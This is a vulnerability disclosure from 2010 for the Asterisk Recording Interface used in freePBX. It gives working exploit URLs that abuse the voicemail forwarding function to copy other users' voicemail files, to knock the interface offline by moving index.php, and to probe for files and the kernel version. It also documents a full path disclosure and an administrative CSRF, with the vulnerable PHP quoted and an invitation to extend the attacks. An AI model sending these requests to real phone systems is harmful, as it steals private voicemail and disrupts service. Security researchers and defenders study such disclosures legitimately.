Found By: TurboBorland Email: tborland1@gmail.com Software: Asterisk Recording Interface Date Found: 07/01/2010 Ethical Disclosure: Site down, no other location for project, author can not be found, no one to get in touch with. Submission. Vulnerabilities: LFI (steal voicemail (only need to supply userid), discover services, discover kernel, DoS), full path disclosure, administrative CSRF, and reflective XSS The asterisk recording interface seems to have multiple vulnerabilities. I'm sure some of these can be expanded upon to be much greater than they are currently, however little time has made it so that others can have fun with the exploit(s). Some of these are looked at with the most popular distro (as far as I'm aware) using the ARI, freePBX. The LFI I didn't know exactly how to classify. You are pulling files from one location to the other, but can't really grab them unless they're a valid extension to download. I guess it'd be classified as remote file move? Whatever, semantics semantics. The first, local file inclusion. Target: voicemail.module Example exploit: DoS -> http://10.10.10.10/recordings/index.php?m=Voicemail&f=msgAction&a=forward_to&q=&folder=&start=0&span=15&order=calldate&sort=desc&folder_rx=&mailbox_rx=houston%2F4949&selected7=/var/www/recordings/index.php Steal Voicemails -> http://10.0.10.10/recordings/index.php?m=Voicemail&f=msgAction&a=forward_to&q=&folder=INBOX&start=0&span=15&order=calldate&sort=desc&folder_rx=&mailbox_rx=houston%2F4949&selected7=%2Fvar%2Fspool%2Fasterisk%2Fvoicemail%2Fhouston%2F2625%2FINBOX%2Fmsg0000.txt +Steal voicemails: By looking at the data sent out, or the html, you can glean the info to start building the selected7 LFI. As you see, mailbox_rx includes the current directory and current userid to receive the file. Next, /var/spool/asterisk/voicemail is the default location for this install. We can see this by looking at the global variable of $ASTERISK_VOICEMAIL_PATH. However, from a remote point of view, that doesn't help (keep reading below for an FPD on this directory). I don't see many people changing this location. So we should be pretty safe. The last item (besides userid, which can be gleaned a multitude of ways), is the added extension folder. You can see we have another folder. Well, thanks to error messages, we can find this path: if (is_dir($path_rx)) { $lastNum = -1; $lastNumLen = 4; $dh = opendir($path_rx); while (false != ($filename = readdir($dh))) { if($filename!="." && $filename!="..") { $msg_path = $path_rx; $msg_path = appendPath($msg_path,$filename); if (is_file($msg_path)) { $path_parts = pathinfo($msg_path); list($name,$ext) = split("\.",$path_parts['basename'],2); $num = preg_replace("/[a-zA-Z]/",'', $name); if ($num > $lastNum) { $lastNum = $num; $lastNumLen = strlen($lastNum); } } } } } else { $_SESSION['ari_error'] = sprintf(_("Could not create mailbox folder %s on the server"),$folder_rx); return; } And: // recieving path $paths = split(';',$ASTERISK_VOICEMAIL_PATH); $path_rx = appendPath($paths[0],$context_rx); So if we provide a directory in selected7 that does not exist, we'll get a nice error revealing the remaining pieces of the path to us (unless you just skipped to the above). Finally, what you came to read. The selected file is only checked to make sure it has appropriate permissions. However, this is only checked if the webserver has appropriate permissions to it. It is not checked if the currently logged in user is the one sending the file to the other location: $dst = appendPath($path_rx,$folder_rx); if (is_writable($src) && is_writable($path_rx)) { $perm = fileperms($src); $uid = fileowner($src); $gid = filegroup($src); copy($src,$dst); +Denial of Service: File: voicemail.module Sample: http://10.10.10.10/recordings/index.php?m=Voicemail&f=msgAction&a=forward_to&q=&folder=&start=0&span=15&order=calldate&sort=desc&folder_rx=&mailbox_rx=houston%2F2627&selected7=/var/www/recordings/index.php The problem here is source is not checked, so we can grab any file as long as the webserver (or whatever user the file is run as, I say webserver as a default) has permissions to it. foreach($files as $key => $path) { // get file parts for search $path_parts = pathinfo($path); $path = $path_parts['dirname']; $path = fixPathSlash($path); list($name,$ext) = split("\.",$path_parts['basename']); if (is_dir($path)) { $lastNum++; $hdl = opendir($path); while ($fn = readdir($hdl)) { if (preg_match("/" . $name . "/",$fn)) { $src = $path . $fn; $path_parts = pathinfo($src); //fix for Serge Mankovski's "Voicemail RSS" //split file basename into two pieces at the first '.' //so that files like msg0000.7025f35d463ebbafa101db8a88c71b681aa8443d.mp3 //don't get clobbered by preg_replace() of digits list($name,$ext) = split("\.",$path_parts['basename'],2); $folder_rx = preg_replace("/\d+/",sprintf("%0" . $lastNumLen . "d",$lastNum),$name) . "." . $ext; $dst = appendPath($path_rx,$folder_rx); if (is_writable($src) && is_writable($path_rx)) { $perm = fileperms($src); $uid = fileowner($src); $gid = filegroup($src); copy($src,$dst); We created a DoS with the sample by taking the index.php page and moving it over to my inbox. Which makes the ARI completely unusable until restored. +Check if file/directory exist and check for valid kernel version: File: voicemail.module Example: http://10.10.10.10/recordings/index.php?m=Voicemail&f=msgAction&a=forward_to&q=&folder=&start=0&span=15&order=calldate&sort=desc&folder_rx=&mailbox_rx=houston%2F2627&selected7=/etc/exim4 As long as the file exists, but the webserver does not have permission to it, it will display an error on is_dir and is_file. If it is not a file, no permission denied should appear. We can use this to map other services that may be hosted on the box. *Paul Scott noted that we could use this to fingerprint which kernel version the host is running. Keep in mind, these are all going to be case sensitive. +Full Path Disclosure through preg_match: File: voicemail.module Example: http://10.10.10.10/recordings/index.php?m=voicemail&f=display&q[]=&order=calldate&sort=asc Setting aside the above full path disclosure, there's another one that will disclose where the full location of the webserver's files. if ($q) { $found = 0; if (preg_match("/" . $q . "/", $origmailbox) || preg_match("/" . $q . "/", $callerid) || preg_match("/" . $q . "/", $date) || preg_match("/" . $q . "/", $time)) { $found = 1; } } +Administrative CSRF: File: page.ampusers.php $action = isset($_REQUEST['action'])?$_REQUEST['action']:''; switch ($action) { case "addampuser": core_ampusers_add($username, $password, $extension_low, $extension_high, $deptname, $sections); //indicate 'need reload' link in footer.php needreload(); redirect_standard(); break; case "editampuser": // Check to make sure the hidden var is sane, and that they haven't changed the password field if (strlen($form_password_sha1)==40 && $password == "******") { // Password unchanged core_ampusers_del($userdisplay); core_ampusers_add($username, $form_password_sha1, $extension_low, $extension_high, $deptname, $sections); } elseif ($password != "******") { // Password has been changed core_ampusers_del($userdisplay); core_ampusers_add($username, $password, $extension_low, $extension_high, $deptname, $sections); } //indicate 'need reload' link in footer.php needreload(); redirect_standard('userdisplay'); break; case "delampuser": core_ampusers_del($userdisplay); //indicate 'need reload' link in footer.php needreload(); $userdisplay = ""; // go "add" screen redirect_standard(); break; } ?> Create a unique username for this new user")?>: Create a password for this new user")?>:

Restrict this user's view of Digital Receptionist menus and System Recordings to only those for this department.")?>: Restrict this user's view to only Extensions, Ring Groups, and Queues within this range.")?>:  to Select the Admin Sections this user should have access to.")?>: